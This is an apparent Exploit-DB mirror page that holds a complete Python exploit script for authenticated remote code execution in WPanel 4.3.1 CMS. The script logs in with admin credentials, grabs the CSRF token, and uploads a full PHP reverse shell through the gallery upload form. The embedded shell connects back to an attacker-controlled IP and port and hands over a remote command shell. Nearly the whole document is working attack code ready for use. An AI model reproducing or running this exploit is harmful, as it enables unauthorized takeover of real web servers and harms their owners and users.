WPanel 4.3.1 – Remote Code Execution (RCE) (Authenticated)

  • 作者: Sentinal920
    日期: 2021-09-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50255/
  • # Exploit Title: WPanel 4.3.1 - Remote Code Execution (RCE) (Authenticated)
    # Date: 07/06/2021
    # Exploit Author: Sentinal920
    # Vendor Homepage: https://github.com/wpanel
    # Software Link: https://github.com/wpanel/wpanel4-cms
    # Version: 4.3.1
    # Tested on: Linux
    
    import requests
    import random,string
    
    
    # Change This
    ###################################
    url = 'http://192.168.182.134:8080'
    email = 'admin@localhost.com'
    password = 'admin'
    ###################################
    
    # PHP reverse shell used: https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/php_reverse_shell.php
    # Works on linux/windows/mac
    
    ###########################################################################
    # Make sure to change lhost and lport in the reverse shell below (Line 223)
    ###########################################################################
    
    
    # Get_Cookies
    r = requests.get(url)
    r2 = requests.get(url,cookies=r.cookies)
    cookie = r2.cookies['wpanel_csrf_cookie']
    name = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(9))
    
    payload = '''
    -----------------------------45668787242378192391383974033
    Content-Disposition: form-data; name="wpanel_csrf_token"
    
    '''+cookie+'''
    -----------------------------45668787242378192391383974033
    Content-Disposition: form-data; name="titulo"
    
    '''+name+'''
    -----------------------------45668787242378192391383974033
    Content-Disposition: form-data; name="descricao"
    
    '''+name+'''
    -----------------------------45668787242378192391383974033
    Content-Disposition: form-data; name="tags"
    
    tesad
    -----------------------------45668787242378192391383974033
    Content-Disposition: form-data; name="userfile"; filename="php-reverse-shell.php"
    Content-Type: application/x-php
    
    <?php
    
    class Shell {
    private $addr= null;
    private $port= null;
    private $os= null;
    private $shell = null;
    private $descriptorspec = array(
    0 => array('pipe', 'r'), // shell can read from STDIN
    1 => array('pipe', 'w'), // shell can write to STDOUT
    2 => array('pipe', 'w')// shell can write to STDERR
    );
    private $options = array(); // proc_open() options
    private $buffer= 1024;// read/write buffer size
    private $clen= 0; // command length
    private $error = false; // stream read/write error
    public function __construct($addr, $port) {
    $this->addr = $addr;
    $this->port = $port;
    }
    private function detect() {
    $detected = true;
    if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
    $this->os= 'LINUX';
    $this->shell = '/bin/sh';
    } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
    $this->os= 'WINDOWS';
    $this->shell = 'cmd.exe';
    $this->options['bypass_shell'] = true; // we do not want a shell within a shell
    } else {
    $detected = false;
    echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
    }
    return $detected;
    }
    private function daemonize() {
    $exit = false;
    if (!function_exists('pcntl_fork')) {
    echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
    } else if (($pid = @pcntl_fork()) < 0) {
    echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
    } else if ($pid > 0) {
    $exit = true;
    echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
    } else if (posix_setsid() < 0) {
    // once daemonized you will actually no longer see the script's dump
    echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
    } else {
    echo "DAEMONIZE: Completed successfully!\n";
    }
    return $exit;
    }
    private function settings() {
    @error_reporting(0);
    @set_time_limit(0); // do not impose the script execution time limit
    @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
    $data = str_replace('<', '<', $data);
    $data = str_replace('>', '>', $data);
    echo $data;
    }
    private function read($stream, $name, $buffer) {
    if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
    $this->error = true;// set global error flag
    echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
    }
    return $data;
    }
    private function write($stream, $name, $data) {
    if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
    $this->error = true;// set global error flag
    echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
    }
    return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
    while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
    if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
    $this->dump($data); // script's dump
    }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
    $size = fstat($input)['size'];
    if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
    // for some reason Windows OS pipes STDIN into STDOUT
    // we do not like that
    // we need to discard the data from the stream
    while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
    $this->clen -= $bytes;
    $size -= $bytes;
    }
    }
    while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
    $size -= $bytes;
    $this->dump($data); // script's dump
    }
    }
    public function run() {
    if ($this->detect() && !$this->daemonize()) {
    $this->settings();
    
    // ----- SOCKET BEGIN -----
    $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
    if (!$socket) {
    echo "SOC_ERROR: {$errno}: {$errstr}\n";
    } else {
    stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
    
    // ----- SHELL BEGIN -----
    $process = @proc_open($this->shell, $this->descriptorspec, $pipes, '/', null, $this->options);
    if (!$process) {
    echo "PROC_ERROR: Cannot start the shell\n";
    } else {
    foreach ($pipes as $pipe) {
    stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
    }
    
    // ----- WORK BEGIN -----
    @fwrite($socket, "SOCKET: Shell has connected! PID: " . proc_get_status($process)['pid'] . "\n");
    do {
    if (feof($socket)) { // check for end-of-file on SOCKET
    echo "SOC_ERROR: Shell connection has been terminated\n"; break;
    } else if (feof($pipes[1]) || !proc_get_status($process)['running']) { // check for end-of-file on STDOUT or if process is still running
    echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
    }// use proc_get_status() instead
    $streams = array(
    'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
    'write'=> null,
    'except' => null
    );
    $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], null); // wait for stream changes | will not wait on Windows OS
    if ($num_changed_streams === false) {
    echo "STRM_ERROR: stream_select() failed\n"; break;
    } else if ($num_changed_streams > 0) {
    if ($this->os === 'LINUX') {
    if (in_array($socket, $streams['read'])) { $this->rw($socket, $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
    if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket, 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
    if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket, 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
    } else if ($this->os === 'WINDOWS') {
    // order is important
    if (in_array($socket, $streams['read'])) { $this->rw ($socket, $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
    if (fstat($pipes[2])['size']/*-------*/) { $this->brw($pipes[2], $socket, 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
    if (fstat($pipes[1])['size']/*-------*/) { $this->brw($pipes[1], $socket, 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
    }
    }
    } while (!$this->error);
    // ------ WORK END ------
    
    foreach ($pipes as $pipe) {
    fclose($pipe);
    }
    proc_close($process);
    }
    // ------ SHELL END ------
    
    fclose($socket);
    }
    // ------ SOCKET END ------
    
    }
    }
    }
    echo '<pre>';
    // change the host address and/or port number as necessary
    $sh = new Shell('192.168.182.136', 9000);
    $sh->run();
    unset($sh);
    // garbage collector requires PHP v5.3.0 or greater
    // @gc_collect_cycles();
    echo '</pre>';
    ?>
    
    
    -----------------------------45668787242378192391383974033
    Content-Disposition: form-data; name="status"
    
    1
    -----------------------------45668787242378192391383974033--
    
    
    '''
    data = 'wpanel_csrf_token='+cookie+'&email='+email+'&password='+password
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}	
    # Login_as_admin
    r3 = requests.post(url+'/index.php/admin/login',cookies=r.cookies,headers=headers,data=data)
    
    
    def exploit_gallery():	
    
    	# Adding_Reverse_Shell
    	headers2 = {'Content-Type': 'multipart/form-data; boundary=---------------------------45668787242378192391383974033'}
    	r4 = requests.post(url + '/index.php/admin/galleries/add',cookies=r.cookies,headers=headers2,data=payload)
    
    	print('')
    	print('Shell Uploaded as: '+name)
    	print('')
    	print('Visit: '+url+'/index.php/admin/galleries')
    	print('OR')
    	print('Visit: '+url+'/index.php/galleries')
    	print('')
    	
    exploit_gallery()
    
    
    #def exploit_post():
    #def exloit_pages():
    #def dashboard_avatar_image():